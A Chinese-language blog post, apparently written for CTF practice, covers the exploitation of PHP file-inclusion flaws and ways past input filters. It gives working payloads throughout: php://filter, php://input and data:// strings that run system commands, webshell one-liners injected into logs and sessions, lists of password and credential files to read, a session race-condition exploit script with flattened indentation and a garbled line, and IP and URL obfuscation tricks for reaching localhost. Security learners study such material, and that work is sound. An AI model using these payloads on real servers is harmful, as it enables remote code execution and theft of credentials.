PHP 文件包含功能的利用与绕过策略全解析

-- 函数 --

PHP

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • 注: 文件包含函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来并执行
  • 注: 文件包含相当于将对应文件内容复制到include位置, 所以也会在html显示非php代码内容

-- 利用 --

方法: 本地文件包含(LFI) 远程文件包含(RFI) 伪协议

伪协议

伪协议的使用条件

php://filter
  • php://filter: 一种元封装器, 设计用于数据流打开时的筛选过滤应用
    php://filter 目标使用以下的参数作为它路径的一部分

    --参数--
    resource=<过滤的数据流>  必须使用, 指定了要筛选过滤的数据流, 可以是其它的伪协议
    read=<读链的筛选列表>  可选,可以设定一个或多个过滤器名称,以管道符(|)分隔
    write=<写链的筛选列表>   可选,可以设定一个或多个过滤器名称,以管道符(|)分隔
    <两个链的筛选列表>  任何没有以read=或write=作前缀 的筛选器列表会视情况应用于读或写链
    
    --过滤器--
    convert.base64-encode
    //等同于base64_encode(),base64编码 
    convert.base64-decode
    //等同于base64_decode(),base64解码
    convert.iconv.UTF-8.UTF-16
    (待定)
    
    注:若没有过滤器,也需要将位置空出来 即php://filter//resource 而非 php://filter/resource
    
    用法:1=php://filter/convert.base64-encode/resource=flag.php
    
    使用filter时用过滤器来 读文件的源代码,因为不加密则会被文件包含函数执行
php://input
  • php://input: 访问请求的原始数据(即数据包)的只读流
    注:原始数据为还未进行 url解码的 请求体(可以为GET请求, 不会报错)

    ?file=php://input
    数据包中最下方加入
    <?php php代码 ?>
data://
  • 作用: 将文件数据直接嵌入到 URL 中的方法,而不是链接到外部文件

    data://[<mediatype>][;base64],<data>
    
    data:协议名称,表示这是一个 data URL
    <mediatype>:可选参数,指定数据的MIME类型,
        如 image/png 或 text/plain,若省略,则默认为 text/plain;charset=US-ASCII;
    base64:可选参数,表示数据使用 Base64 编码,使用时会先使用base64解码,再读取
    <data>:文件的实际数据,可以是文本、图像、音频等。
    
    ?file=data://text/plain,<?=system('命令');?>
        text/plain可省略,但逗号依然要存在
    ?file=data://,<?=system('命令');?>
        可用base64加密绕过
    ?file=data://;base64,PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOz8%2B&a=命令
ZIP://
  • ZIP://: 可访问压缩包里面的文件,为读取 写入和修改 ZIP文件提供便捷的方式 而无需解压缩整个文件

    zip://[archive_path]#[file_path]
    
    archive_path:ZIP 压缩文件的路径, 可以是绝对路径或相对路径
    file_path:ZIP 压缩文件中要访问的文件的路径
    
    要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23
    只需要是zip的压缩包即可,后缀名可以任意更改
    相同的类型还有zlib://和bzip2://

远程文件包含

  • 前提: PHP的配置选项allow_url_includeallow_url_fopen状态为ON, 远程文件后缀 不能与 目标服务器 的后端语言相同(因为远程包含是包含对应url的响应体,即html页面源码)
  • 作用: 可以让服务端加载用户端的恶意文件, 路径为url

包含服务端敏感文件

  • Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
  • Linux/Unix系统:
/etc/passwd //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

配合文件上传

  • 若无法绕过文件上传的检测, 可先上传一个图片格式的webshell到服务器, 在利用文件包含来解析

包含日志文件

  • 条件: 对日志文件可读 且 知道日志文件的路径 日志文件路径可通过 服务器配置文件 httpd.conf nginx.conf 或 phpinfo() 得知 linux默认日志目录:/var/log/nginx/或/var/log/apache2/
  • 原理: 在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log, 可先向服务器发起 包含 php注入代码 的请求, 再用文件包含漏洞解析日志文件
  • 注: 写入的是请求包中还未经过url解码的内容, 所以需在数据包中更改, 因为日志文件记录了 数据包第一行和 User-Agent, 可在User-Agent处注入
<?php system($_GET['a']);?>
<?=system($_GET['a']);?>
?file=/var/log/nginx/access.log&a=代码

包含临时文件

  • 原理: php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的 另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可

包含SESSION文件

  • 前提: Session内的变量可控 且 Session文件有读写权限,知道存储路径
  • 条件: 找到Session内的可控变量 且 Session文件可读写,并且知道存储路径
    常用session文件存储路径
    /var/lib/php/sessions/sess_会话ID
    /var/lib/php/sess_会话ID
    /tmp/sess_会话ID
    /tmp/sessions/sess_会话ID
    session文件格式:sess_<会话id>,而phpsessid在发送的请求的cookie字段中可以看到
    注: Session存储路径还可通过phpinfo()得知
  • 原理: 写入包含注入语句的Session, 并用文件包含漏洞解析Session存储文件
  • 配置项: session.upload_progress

    session.upload_progress.enabled = on  
    # 代表upload_progress功能开启,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 
    session.upload_progress.cleanup = on  
    # 文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要
    session.upload_progress.prefix = "upload_progress_"  
    session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"  
    # 当上传文件同时,POST 以name为参数名的变量时,php将会将上传进度存储在session中
    # prefix的值+以name为参数名的变量的值 将成为session中存储了上传进度的值 对应的 键名
    session.use_strict_mode=0
    # 默认为0,当其为0时用户可自行设置开启的会话id, 方法是在Cookie中设置PHPSESSID=<会话id>
    
    --其它--
    session.auto_start=false
    # 默认关闭,自动开启session,等效于在所有php文件开头加上session_start()
    session.upload_progress.freq = "1%"
    session.upload_progress.min_freq = "1"
  • 利用
    1.向服务器传输任意文件(尽量大一点),在同一个请求包中加上POST参数 PHP_SESSION_UPLOAD_PROGRESS=<?php system('ls');?> 加上Cookie值 PHPSESSID=flag
    #传输文件到服务器,会自动生成SESSION文件保存上传信息,其中信息对应的键名为upload_progress_<?php system('ls');?>,SESSION文件名为sess_flag
    2.请求文件包含session文件(要知道对应路径), 如/tmp/sess_flag等
    #文件包含SESSION文件,由于键名为我们构造的且反序列化储存并不会改变值,可以造成RCE
    3.构造两个请求都不断发包(条件竞争),知道有回显,执行了我们想要的命令
    #由于文件上传结束后SESSION文件就会自动删除,所以要条件竞争
  • payload
    <form action="" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>">
    <input type="file" id="file" name="fileToUpload">
    <input type="submit" value="上传文件">
    </form>
    <script>
    document.querySelector('form').addEventListener('submit', function(event) {
        document.cookie = "PHPSESSION=flag";
    });
    </script>
  • 脚本
    from requests import get, post
    from io import BytesIO
    from threading import Thread
    from urllib.parse import urljoin
    URL = 'https://03042687-bc97-470d-bfa0-749ee316f124.challenge.ctf.show/'
    PHPSESSID = 'shell'
    def write():
    code = "<?php                                                                     ?>');?>"
    data = {'PHP_SESSION_UPLOAD_PROGRESS': code}
    cookies = {'PHPSESSID': PHPSESSID}
    files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))}
    while True:
    post(URL, data, cookies=cookies, files=files)
    def read():
    params = {'file': f'/tmp/sess_{PHPSESSID}'}
    while True:
    get(URL, params)
    url = urljoin(URL, 'shell.php')
    code = get(url).status_code.real
    print(f'{url} {code}')
    if code == 200:
    exit()
    if __name__ == '__main__':
    Thread(target=write, daemon=True).start()
    read()

-- 特殊 --

对于

file_put_contents($_POST['filename'], <?php exit;?>.$_POST['content']); 或类似代码
注: file_put_contents若对应文件不存在则会自动创建
  1. 传入?file=php://filter/write=convert.base64-decode/resource=1.php, 将写入流进行base64解码, 原理: base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。 所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和传入的$_POST['content'](注: $_POST['content']为base64编码后内容) 注: 最后最终被解码的字符要是4的倍数(因为base64编码都为4的倍数), 否则会造成解码不成功而报错

  1. 传入?file=php://filter/write=string.rot13/resource=1.php,将写入流进行rot13编码
  2. ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php将写入流从 UCS-2LE 编码转换为 UCS-2BE 编码 $re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>'); 通过这行代码获得注入内容
  3. 或者使用其它的过滤器, 原理相同 条件:在PHP不开启short_open_tag(短标签)时 原理: rot13两次解码或编码后会变成原来的样子, 所以最终写入内容为rot13编码后的<?php exit;?>和传入的$_POST['content'](注: $_POST['content']为rot13编码后内容)

-- 绕过 --

URL过滤绕过
  • 域名/ip被过滤

    1. 大小写绕过(域名对大小写不敏感)
    2. 将自己的域名解析到 特定IP地址 并访问
    3. 使用hex百分号编码 yuccun.cn->%79%75%63%63%75%6e%2e%63%6e
      (注:协议的一部分不能用hex编码,如http://以及之后的/?)
    4. 使用IP(十进制 八进制 十六进制) 注:不同进制可以混用(只要用点号隔开)
      https://www.metools.info/other/ipconvert162.html
      https://www.xuhuhu.com/ip-to-octal-converter.html
    5. 删除/增加ip中最前面的0
      如 127.0.0.1 -> 127.000.000.001 -> 127.000.0.01
    6. 将点号换为句号
  • http过滤: 使用//替代 (html标签中用//可以代替http://)
    若要求使用http://但想使用js伪协议,可将http://放最后然后用//注释掉
    注:html中默认使用file://协议,所以要跳转网页必须加上http://等

  • /过滤: 使用\ (//则使用\\)
    但是要注意在windows下\本身就有特殊用途,是一个path 的写法,
    所以\\在Windows下是file协议,在linux下才会是当前域的协议

  • 点过滤: 使用中文句号代替点号 浏览器会自动转换

  • localhost/127.0.0.1过滤

    1. 将自己的域名解析到127.0.0.1并访问
    2. 利用简写127.1 或全写 127.000.000.001等(任意删0增0)
    3. 使用0.0.0.0 或其简写 0(在linux会被解析为127.0.0.1,windows无效)
    4. 利用hex百分号编码, 或十进制2130706433 八进制0177.0.0.1 十六进制0x7f.0.0.1 0x7F000001
    5. 将点号换为句号
  • 文件名被过滤

    1. 切换为 绝对路径(/var/www/html/flag) 或 相对路径(flag 或 ./flag)
  • http/https前拼接绕过
    方式: 首位加上@, 然后加上想要访问的域名
    原理: http/https协议在 域名中若有@符号,则@符号前的信息会被当成用户名,其后的才会被当作域名解析

    PHP标签绕过
  • <?php ?> 替换为 <?= ?>(php>5.4) 或 <? ?>(php.ini中short_open_tag选项开启)

  • <% %>(php<7.0, php.ini中asp_tags选项开启, 默认关闭)

  • <script language="php"> </script> (php<7.0)

file://只能以字母开头
  • 使用localhost再加上文件的路径
必须包含特殊字符
  • 将特殊字符当成一个目录进行目录穿越 如include flag/../index.html, 其中flag会被当成一个文件夹, 且flag文件无需存在, 也可以使用php://filter, 在resource中目录穿越
拼接绕过
  • 使用data://协议, 将后续拼接内容当成文件内容, 但include(data://) 只执行<?php ?>内的内容
  • %00截断(php版本小于5.3.29
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇